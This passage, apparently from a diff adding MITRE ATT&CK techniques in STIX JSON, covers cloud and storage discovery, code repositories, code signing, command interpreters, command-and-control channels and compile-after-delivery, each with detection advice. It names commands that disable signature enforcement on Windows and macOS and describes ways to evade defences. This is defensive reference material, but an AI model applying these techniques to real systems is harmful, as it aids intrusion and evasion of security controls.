discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1526", + "external_id": "T1526", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/rest/api/resources/", + "description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.", + "source_name": "Azure - Resource Manager API" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview", + "description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.", + "source_name": "Azure AD Graph API" + }, + { + "url": "https://github.com/Azure/Stormspotter", + "description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.", + "source_name": "Azure - Stormspotter" + }, + { + "url": "https://github.com/RhinoSecurityLabs/pacu", + "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", + "source_name": "GitHub Pacu" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Cloud Storage Object Discovery", + "x_mitre_data_sources": [ + "Cloud Storage: Cloud Storage Enumeration", + "Cloud Storage: Cloud Storage Access" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-07T18:19:25.352Z", + "created": "2021-10-01T17:58:26.445Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156", + "description": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .", + "x_mitre_contributors": [ + "Regina Elwell", + "Isif Ibrahima" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \nMonitor cloud logs for API calls used for file or object enumeration for unusual activity. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1619", + "external_id": "T1619", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html", + "description": "Amazon - ListObjectsV2. Retrieved October 4, 2021.", + "source_name": "ListObjectsV2" + }, + { + "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs", + "description": "Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.", + "source_name": "List Blobs" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Code Repositories", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-16T01:35:43.483Z", + "created": "2021-05-11T18:51:16.343Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "id": "attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3", + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)", + "x_mitre_contributors": [ + "Itamar Mizrahi, Cymptom", + "Toby Kohlenberg", + "Josh Liburdi, @jshlbrd" + ], + "x_mitre_detection": "Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1213/003", + "external_id": "T1213.003", + "source_name": "mitre-attack" + }, + { + "url": "https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/", + "description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.", + "source_name": "Wired Uber Breach" + }, + { + "url": "https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/", + "description": "Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.", + "source_name": "Krebs Adobe" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-05T18:59:28.671Z", + "name": "Code Signing", + "created": "2017-05-31T21:31:26.474Z", + "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1116", + "external_id": "T1116", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Code Signing", + "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", + "url": "https://en.wikipedia.org/wiki/Code_signing" + }, + { + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + }, + { + "source_name": "Securelist Digital Certificates", + "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", + "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" + }, + { + "source_name": "Symantec Digital Certificates", + "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", + "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Code Signing", + "x_mitre_data_sources": [ + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2020-02-10T19:51:01.601Z", + "created": "2020-02-05T16:27:37.784Z", + "x_mitre_defense_bypassed": [ + "Windows User Account Control" + ], + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing) \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1553/002", + "external_id": "T1553.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Code Signing", + "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", + "url": "https://en.wikipedia.org/wiki/Code_signing" + }, + { + "source_name": "Securelist Digital Certificates", + "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", + "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" + }, + { + "source_name": "Symantec Digital Certificates", + "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", + "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Code Signing Certificates", + "x_mitre_data_sources": [ + "Malware Repository: Malware Metadata" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:07:08.549Z", + "created": "2020-10-01T01:41:08.652Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf", + "description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1587/002", + "external_id": "T1587.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Code Signing", + "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", + "url": "https://en.wikipedia.org/wiki/Code_signing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Code Signing Certificates", + "x_mitre_data_sources": [ + "Malware Repository: Malware Metadata" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:19:50.018Z", + "created": "2020-10-01T02:11:47.237Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", + "description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1588/003", + "external_id": "T1588.003", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Code Signing", + "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", + "url": "https://en.wikipedia.org/wiki/Code_signing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Code Signing Policy Modification", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-26T15:41:39.155Z", + "created": "2021-04-23T01:04:57.161Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", + "x_mitre_defense_bypassed": [ + "Application control", + "User Mode Signature Validation", + "Digital Certificate Validation" + ], + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)", + "x_mitre_contributors": [ + "Abel Morales, Exabeam" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1553/006", + "external_id": "T1553.006", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN", + "description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.", + "source_name": "Microsoft DSE June 2017" + }, + { + "url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection", + "description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.", + "source_name": "Apple Disable SIP" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test", + "description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.", + "source_name": "Microsoft Unsigned Driver Apr 2017" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option", + "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.", + "source_name": "Microsoft TESTSIGNING Feb 2021" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html", + "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.", + "source_name": "FireEye HIKIT Rootkit Part 2" + }, + { + "url": "https://github.com/hfiref0x/TDL", + "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.", + "source_name": "GitHub Turla Driver Loader" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" + }, + { + "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", + "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.", + "source_name": "Unit42 AcidBox June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Command and Scripting Interpreter", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Module: Module Load", + "Script: Script Execution" + ], + "x_mitre_version": "2.2", + "modified": "2021-08-16T21:03:21.700Z", + "created": "2017-05-31T21:30:49.546Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "revoked": false, + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)", + "x_mitre_remote_support": true, + "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1059", + "external_id": "T1059", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1", + "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.", + "source_name": "Powershell Remote Commands" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Command History" + }, + { + "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python", + "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.", + "source_name": "Remote Shell Execution in Python" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-07-06T17:54:28.071Z", + "name": "Commonly Used Port", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1043", + "external_id": "T1043", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_version": "1.0", + "created": "2017-05-31T21:30:42.657Z", + "x_mitre_deprecated": true, + "revoked": false, + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Communication Through Removable Media", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1092", + "external_id": "T1092", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Drive: Drive Creation", + "Drive: Drive Access" + ], + "x_mitre_version": "1.0", + "modified": "2020-07-14T19:44:50.871Z", + "created": "2017-05-31T21:31:09.379Z", + "x_mitre_network_requirements": false, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media is mounted.", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-16T15:38:37.650Z", + "name": "Compile After Delivery", + "created": "2019-04-25T20:53:07.719Z", + "id": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1500", + "external_id": "T1500", + "source_name": "mitre-attack" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/", + "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.", + "source_name": "TrendMicro WindowsAppMac" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Compile After Delivery", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1027/004", + "external_id": "T1027.004", + "source_name": "mitre-attack" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/", + "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.", + "source_name": "TrendMicro WindowsAppMac" + } + ], + "x_mitre_data_sources": [ + "File: File Metadata", + "File: File Creation", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T20:59:32.293Z", + "x_mitre_system_requirements": [ + "Compiler software (either native to the system or delivered by the adversary)" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", + "x_mitre_defense_bypassed": [ + "Signature-based detection", + "Host intrusion prevention systems", + "Anti-virus", + "Binary Analysis", + "Static File Analysis" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", + "x_mitre_contributors": [ + "Praetorian", + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" + ], + "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.", + "created": "2020-03-16T15:30:57.711Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T18:59:00.845Z", + "name": "Compiled HTML File", + "created": "2018-10-17T00:14:20.652Z", + "id": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1223", + "external_id": "T1223", + "source_name": "mitre-attack" + }, + { + "url": 